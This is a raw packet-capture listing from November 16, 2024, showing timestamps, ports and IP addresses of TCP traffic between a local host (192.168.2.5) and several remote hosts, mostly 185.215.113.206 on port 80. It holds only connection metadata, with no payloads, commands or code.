Nov 16, 2024 19:22:31.799653053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799653053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799666882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799681902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799685955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799696922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799705029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799710035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799725056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799737930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799741030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799761057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799768925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799774885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799789906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799792051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799804926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799808979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799820900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799838066 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799917936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799941063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799953938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799958944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799976110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799976110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799989939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800003052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800007105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800007105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800021887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800043106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800065041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800093889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800096989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800107956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800122976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800148010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800178051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800192118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800206900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800211906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800225019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800225973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800239086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800240993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800252914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800251961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800266981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800270081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800290108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800301075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800326109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800339937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800354004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800367117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800373077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800379992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800399065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800401926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800414085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800421000 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800429106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800432920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800441980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800457001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800463915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800471067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800478935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800482035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800585032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800642014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800662994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800684929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800697088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800698996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800710917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800718069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800725937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800740957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800744057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800755024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800769091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800775051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800785065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800791025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800802946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800808907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800817013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800823927 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800831079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800838947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800844908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800860882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800863028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800873995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800873041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800890923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800896883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800910950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800915003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800926924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800935030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800941944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800947905 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800956011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800965071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800966978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800976992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.800981045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.800996065 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.801001072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.801011086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.801024914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.801028013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.801038980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.801044941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.801054001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.801058054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.801090002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.803735018 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.803807020 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.803894043 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.803910971 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.803953886 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804002047 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.804617882 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804653883 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804764986 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.804768085 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804775000 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804783106 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804845095 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.804861069 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.804904938 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804918051 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804932117 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804956913 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.804956913 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804963112 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.804971933 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.805002928 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.805042982 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.805567026 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.805577993 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.805861950 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.805922031 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.806070089 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.806951046 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.806983948 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.808729887 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.808748007 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.809135914 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.809146881 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.809521914 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.809531927 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.837307930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837335110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837346077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837414026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.837414026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.837678909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837702990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837714911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.837721109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.837740898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.837759018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.852969885 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.852986097 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.853053093 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.853091002 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.853622913 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.853965998 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.853971958 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.868766069 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.869632959 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.875524998 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.875549078 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.875890970 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.875905037 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.876759052 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.876847029 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.877207994 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.877281904 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.877650976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.877696991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.877700090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.877734900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.878015041 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.878076077 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.878540039 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.878638029 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.882724047 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.882752895 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.882812023 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.882885933 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.882921934 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.882947922 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.927992105 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.928002119 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.928003073 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.928014040 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.947455883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947468996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947493076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947508097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947510958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947520971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947535038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947534084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947550058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947551966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947590113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947705984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947719097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947755098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947758913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947793007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947797060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947809935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947830915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947833061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947844982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947849989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947865009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947885036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.947972059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.947987080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948000908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948016882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948020935 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948031902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948045015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948046923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948060036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948061943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948071957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948087931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948117018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948134899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948148966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948163986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948180914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948208094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948570967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948618889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948621988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948643923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948652029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948658943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948673964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948681116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948688030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948703051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948717117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948720932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948730946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948745012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948756933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948759079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.948775053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.948802948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949124098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949140072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949153900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949163914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949173927 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949193954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949311972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949359894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949373960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949373960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949393034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949412107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949534893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949549913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949563980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949568987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949575901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949584007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949590921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949603081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949618101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949733973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949755907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949780941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949795008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949877024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949892998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949907064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949917078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949920893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.949927092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949945927 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949965954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.949966908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950002909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950130939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950144053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950158119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950166941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950171947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950176954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950195074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950206995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950304985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950351000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950366974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950393915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950418949 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950510025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950525045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950539112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950552940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950558901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950567961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950579882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950584888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950598955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950627089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950710058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950747013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950752974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950767040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950788021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950799942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950802088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950814009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950850964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950860023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950874090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950896978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950920105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.950946093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950958967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950972080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950987101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.950998068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951003075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951009989 CET	49770	80	192.168.2.5	185.215.113.206
